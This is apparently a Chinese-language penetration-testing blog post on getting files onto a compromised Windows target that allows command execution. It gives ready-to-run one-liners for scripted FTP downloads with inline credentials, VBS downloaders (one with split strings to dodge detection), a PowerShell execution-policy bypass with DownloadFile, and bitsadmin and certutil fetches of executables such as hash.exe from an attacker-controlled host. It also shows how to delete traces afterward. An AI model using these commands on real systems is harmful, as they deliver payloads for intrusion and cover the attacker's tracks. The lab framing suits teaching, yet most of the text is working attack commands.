趁着現在不忙(才不是偷懶)趕緊更新一波~
今天給大家分享的内容是Windows内網傳輸技術:
有時候我們拿到一個不能上傳shell,但可以指令執行的windows伺服器時,可以通過多種方法進行檔案上傳和下載下傳。
一起來看看吧!
Part.1
FTP
FTP環境部署
首先,ftp支援ASCII碼傳輸、也支援二進制傳輸,是以完全可以滿足我們的上傳下載下傳需求。
我們可以在本地伺服器先搭建一個ftp伺服器,如3CDaemon:
![](https://img.laitimes.com/img/__Qf2AjLwojIjJCLyojI0JCLiAjM2EzLcd3LcJzLcJzdllmVldWYtl2Pn5GcuAjcvljajZ2a0IzLcFTOwQTN0czLcVmdhNXLwRHdo9CXt92YucWbpRWdvx2Yx5yazF2Lc9CX6MHc0RHaiojIsJye.png)
建立一個使用者monster/a123456:
靶機連接配接上ftp伺服器之後,我們就可以進行上傳、下載下傳操作了。
上傳與下載下傳
ftp可以讀取txt中的指令并執行,是以可以把需要執行的指令寫入到一個txt檔案中。
例如需要下載下傳一個hello.txt到靶機中:
寫入後,靶機中會生成一個ftp.txt檔案:
通過指令行執行該檔案:
可以看到hello.txt檔案被下載下傳到靶機:
以上操作可以簡化為:
Echo open 192.168.3.1 > o&echo user monster a123456 >> o &echo get hello.txt >> o &echo quit >> o &ftp -n -s:o &del /F /Q o
複制
如果ftp允許匿名賬号登陸,還可簡化為:
Echo open 192.168.3.1 > o &echo get hello.txt >> o &echo quit >> o &ftp -A -n -s:o &del /F /Q o
複制
//-A 匿名通路
如果是上傳檔案到ftp伺服器,則使用put:
可以在ftp伺服器中找到上傳的檔案:
Part.2
VBS
VBS
VBS是windows中基于Visual Basic的腳本語言。
利用VBS上傳,主要使用的是msxm12.xmlhttp和adodb.stream對象。
首先在本地開啟http服務,提供檔案下載下傳:
通過shell向靶機寫入VBS代碼:
詳細代碼如下:
echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>download.vbs
echo Post.Open "GET","http://192.168.3.1/target.exe",0 >>download.vbs
echo Post.Send() >>download.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs
echo aGet.Mode = 3 >>download.vbs
echo aGet.Type = 1 >>download.vbs
echo aGet.Open() >>download.vbs
echo aGet.Write(Post.responseBody) >>download.vbs
echo aGet.SaveToFile " C:/Users/Monster/Desktop/target.exe",2 >>download.vbs
複制
此處靶機中會生成download.vbs,執行:
Cscript download.vbs
複制
//成功“上傳”檔案至靶機。
方法二:VBS一句話下載下傳
echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >> downfile.vbs
cscript downfile.vbs http://192.168.3.1/target.exe C:/Users/Monster/Desktop/target2.exe
複制
Part.3
Powershell
Powershell
Powershell在windows server 2003以後版本的作業系統中預設是自帶的,我們也可以用它來進行檔案下載下傳。
powershell -exec bypass -c (New-Object System.Net.WebClient).DownloadFile('http://192.168.3.1/hash.exe','C:/Users/Monster/Desktop/hash.exe');
複制
//注意區分中逗号等英文字元。
Part.4
bitsadmin
bitsadmin
除了腳本以外,windows還有自帶的兩個工具:bitsadmin和certutil。
Bitsadmin是一個指令行工具,Windows xp以後的版本中自帶該工具,例如Windows Update程式就依靠它來下載下傳檔案,是以我們也可以進行利用。
bitsadmin /transfer 123 http://192.168.3.1/hello.txt C:\Users\Monster\Desktop\hello.txt
複制
//123為任務号
注:經測試這種方法進行下載下傳比其他方法慢很多。
儲存路徑不能寫成C:/Users/Monster/Desktop/hello.txt,否則會報錯:
Part.5
certutil
certutil
Windows有一個名為CertUtil的内置程式,可用于在Windows中管理證書,CertUtil的一個特性是能夠從遠端URL下載下傳證書或任何其他檔案。
certutil -urlcache -split -f http://192.168.3.1/hash.exe
複制
但是這種下載下傳方法預設會留下緩存,下載下傳完成後通過delete參數清除緩存:
Part.6
結語
好啦,以上就是今天的全部内容了~